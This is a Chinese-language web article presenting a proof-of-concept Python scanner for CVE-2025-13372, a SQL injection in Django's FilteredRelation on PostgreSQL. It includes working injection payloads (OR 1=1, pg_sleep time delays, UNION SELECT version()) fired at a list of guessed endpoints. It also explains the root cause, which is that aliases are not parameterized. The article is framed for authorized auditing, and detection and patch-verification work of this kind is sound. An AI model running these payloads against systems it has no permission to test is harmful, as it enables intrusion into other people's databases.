news 2026/5/11 5:36:07

Django SQL注入漏洞CVE-2025-13372:FilteredRelation安全风险检测工具

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Django SQL注入漏洞CVE-2025-13372:FilteredRelation安全风险检测工具

Django FilteredRelation SQL注入漏洞检测工具

项目概述

本项目提供了一个针对CVE-2025-13372漏洞的概念验证(PoC)检测工具。该漏洞影响Django框架在使用PostgreSQL数据库后端时,结合FilteredRelation功能处理动态字典参数时可能引发的SQL注入风险。本工具旨在帮助安全研究人员和开发人员检测其Django应用是否受到此漏洞影响。

注意:仅限在您拥有所有权或已获得明确授权的前提下使用本工具。

功能特性

  • 多类型Payload检测:支持错误型、时间延迟型等多种SQL注入检测技术
  • 智能路径探测:自动尝试常见端点路径(如/search/, /api/filter/, /admin/lookup/等)
  • 响应分析:自动识别PostgreSQL错误响应特征
  • 时间延迟检测:通过pg_sleep函数检测时间型SQL注入漏洞
  • 错误抑制:禁用SSL警告,提供更清晰的输出信息

安装指南

系统要求

  • Python 3.6+
  • requests库
  • 目标系统使用Django框架(版本≤5.2.8、≤5.1.14或≤4.2.26)
  • PostgreSQL数据库后端

安装步骤

# 克隆项目gitclone<repository-url># 安装依赖pipinstallrequests# 运行工具python CVE-2025-13372-poc.py<target-url>

依赖项

  • requests:用于发送HTTP请求
  • urllib3:用于URL编码处理

使用说明

基本用法

python CVE-2025-13372-poc.py http://target-domain.com

参数说明

  • 第一个参数:目标URL(自动移除末尾斜杠)

检测过程

工具将按以下步骤进行检测:

  1. 对每个预定义的SQL注入Payload进行URL编码
  2. 尝试访问多个常见端点路径
  3. 分析响应内容中的PostgreSQL错误特征
  4. 对于时间延迟型Payload,检测响应时间是否超过阈值
  5. 报告发现的漏洞迹象

典型使用场景

  • 安全审计:检测Django应用的安全性
  • 漏洞验证:验证CVE-2025-13372漏洞的修复情况
  • 渗透测试:在授权范围内测试目标系统的安全性

手动检测建议

如果自动检测未发现漏洞,可尝试:

  • 使用Burp Suite或ZAP等工具查找包含aliascolumnfieldsort等参数的端点
  • 手动测试上述参数是否接受用户输入

核心代码

主检测逻辑

# CVE-2025-13372-poc.py# Github: https://github.com/Ashwesker/Blackash-CVE-2025-13372# Django FilteredRelation + PostgreSQL SQL Injection PoC# Vulnerable: Django <= 5.2.8 / <= 5.1.14 / <= 4.2.26# Fixed in: 5.2.9, 5.1.15, 4.2.27# Use only on targets you own or have explicit permission for!importrequestsimporturllib.parseimportsysfromrequests.packages.urllib3importdisable_warnings disable_warnings()iflen(sys.argv)!=2:print("Usage: python3 CVE-2025-13372-poc.py http://target.com")sys.exit(1)target=sys.argv[1].rstrip("/")# Common payloads that trigger PostgreSQL errors or delayspayloads=["') OR 1=1-- ","'); SELECT pg_sleep(7)--",# Time-based (7 sec delay = vuln)"'); SELECT version()--",# Leaks PostgreSQL version"' UNION SELECT NULL,version(),NULL--","1' AND (SELECT 1 FROM PG_SLEEP(7))--"]print("[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi")print(f"[+] Target:{target}\n")forpayloadinpayloads:enc=urllib.parse.quote(payload)# Common endpoints/parameters that may use FilteredRelation + alias()/annotate()paths=[f"/search/?alias={enc}",f"/api/filter/?col={enc}",f"/filter/?field={enc}",f"/reports/?column={enc}",f"/advanced/?sort={enc}",f"/admin/lookup/?q={enc}",f"/?order={enc}"]forpathinpaths:url=target+pathtry:print(f"[*] Testing:{url[:80]}{'...'iflen(url)>80else''}",end="")r=requests.get(url,timeout=15,verify=False,allow_redirects=True)# PostgreSQL error indicatorsindicators=["syntax error at or near","column .* does not exist","unterminated quoted string","SQLSTATE","relation .* does not exist","django.db.utils.ProgrammingError"]body=r.text.lower()ifany(indinbodyforindinindicators):print(" → VULNERABLE! (PostgreSQL error)")print(f" Payload :{payload}")print(f" URL :{url}\n")sys.exit(0)# Time-based detectionif"pg_sleep"inpayload.lower()andr.elapsed.total_seconds()>=6:print(" → VULNERABLE! (Time delay detected)")print(f" Delay :{r.elapsed.total_seconds():.2f}seconds")print(f" Payload :{payload}")sys.exit(0)print(" → no indicator")exceptrequests.exceptions.Timeout:if"pg_sleep"inpayload.lower():print(" → VULNERABLE! (Request timed out – pg_sleep likely worked)")sys.exit(0)except:print(" → request failed")print("\n[-] Not vulnerable or correct endpoint not found.")print("[i] Tip: Use Burp/ZAP to find parameters named alias, column, field, sort, etc.")print("[i] Then test manually with the payloads above.")

漏洞技术分析

# 技术分析说明# CVE-2025-13372技术细节:## 漏洞触发条件:# 1. 使用PostgreSQL作为数据库后端# 2. 使用FilteredRelation进行条件连接# 3. 接受动态字典(**kwargs)构建查询注解或别名# 4. 允许用户控制的数据影响SQL生成中使用的别名名称## 安全机制失效原因:# Django ORM通常通过以下方式防止SQL注入:# - 转义危险字符# - 参数化输入# - 除非明确允许,否则禁止原始SQL## 但传递给以下函数的别名不会被参数化:# queryset.annotate(**dynamic_values)# queryset.alias(**dynamic_names)## 因为别名是SQL语法的一部分,而不是SQL值。# 如果用户控制的输入进入这些别名,Django可能会无意中将这些字符串逐字嵌入生成的SQL中。## 当与FilteredRelation结合使用时,这种情况特别危险,因为它生成更复杂的表达式和连接,# 增加了SQL片段拼接的位置数量。## 结果:恶意别名可以脱离其预期的SQL位置并运行任意SQL代码。

受影响版本检测逻辑

# 受影响版本检测# Django版本受影响情况:## 受影响的Django版本:# - Django 5.2.x系列:<= 5.2.8# - Django 5.1.x系列:<= 5.1.14# - Django 4.2.x系列:<= 4.2.26## 已修复版本:# - 5.2.9# - 5.1.15# - 4.2.27## 检测逻辑说明:# 本工具通过发送特定Payload并分析响应来间接检测漏洞存在。# 如果检测到PostgreSQL错误特征或时间延迟,则表明目标可能受到漏洞影响。# 这种方法不依赖版本号检测,而是直接测试漏洞可利用性。

安全响应特征识别

# PostgreSQL错误特征识别# 以下是工具检测的PostgreSQL错误指示器:indicators=["syntax error at or near",# SQL语法错误"column .* does not exist",# 列不存在错误"unterminated quoted string",# 未终止的引号字符串"SQLSTATE",# SQL状态错误"relation .* does not exist",# 关系不存在错误"django.db.utils.ProgrammingError"# Django编程错误]# 时间延迟检测逻辑:# 当Payload包含"pg_sleep"时,如果响应时间超过6秒,则认为检测到时间型SQL注入。# 这种检测方法适用于目标系统不返回详细错误信息但存在漏洞的情况。

路径探测机制

# 常见端点路径探测# 工具尝试以下常见端点路径,这些路径可能使用FilteredRelation + alias()/annotate():paths=["/search/?alias={enc}",# 搜索功能,可能使用别名参数"/api/filter/?col={enc}",# API过滤功能"/filter/?field={enc}",# 过滤功能"/reports/?column={enc}",# 报告功能"/advanced/?sort={enc}",# 高级排序功能"/admin/lookup/?q={enc}",# 管理界面查找功能"/?order={enc}"# 通用排序参数]# 这些路径和参数名基于常见的Django使用模式,# 可能触发FilteredRelation相关的SQL查询构建。

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPuDqcay4ZWmta7DFtWE6OQ
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/3 16:46:18

半监督和无监督极限学习机(SS-US-ELM)附Matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。&#x1f34e; 往期回顾关注个人主页&#xff1a;Matlab科研工作室&#x1f34a;个人信条&#xff1a;格物致知,完整Matlab代码及仿真咨询…

作者头像 李华
网站建设 2026/5/9 18:06:36

AI 人工智能浪潮中的 Gemini 技术创新趋势

AI 人工智能浪潮中的 Gemini 技术创新趋势 关键词:AI、Gemini 技术、技术创新趋势、多模态、大模型 摘要:本文聚焦于 AI 人工智能浪潮中 Gemini 技术的创新趋势。在当前 AI 快速发展的大背景下,Gemini 技术作为谷歌推出的新一代大模型,展现出诸多独特的创新之处。文章首先介…

作者头像 李华
网站建设 2026/5/2 7:49:43

2025年用户最喜爱的5个谷歌Nano Banana热门提示

2025年用户最喜爱的5个谷歌Nano Banana热门提示 人们真的很想被看到与假狗在一起。 2025年&#xff0c;许多人选择接受生成式AI成为生活的一部分&#xff0c;无论好坏。其迅速普及的一个主要因素是谷歌和OpenAI等公司推出的易用图像生成工具的广泛传播。特别是&#xff0c;许多…

作者头像 李华
网站建设 2026/5/8 2:23:09

手把手教你识别PCB板上的模拟传感器接口电路

从一块PCB板看懂模拟传感器接口&#xff1a;工程师的“视觉解码”实战指南你有没有遇到过这样的场景&#xff1f;手头只有一块没有原理图、文档缺失的电路板&#xff0c;客户急着要修复故障&#xff0c;而你却连哪个芯片负责温度采样都找不到。或者&#xff0c;在拆解一个工业模…

作者头像 李华
网站建设 2026/5/1 7:25:23

违反Sonic许可协议的后果:法律风险提示

Sonic数字人技术的合规边界&#xff1a;从高效生成到法律风险防范 在短视频与AI内容爆发式增长的今天&#xff0c;一个令人瞩目的趋势正在重塑内容生产方式——“一个人就是一支团队”。越来越多的企业开始尝试用AI数字人替代真人出镜&#xff0c;实现24小时不间断直播、课程录…

作者头像 李华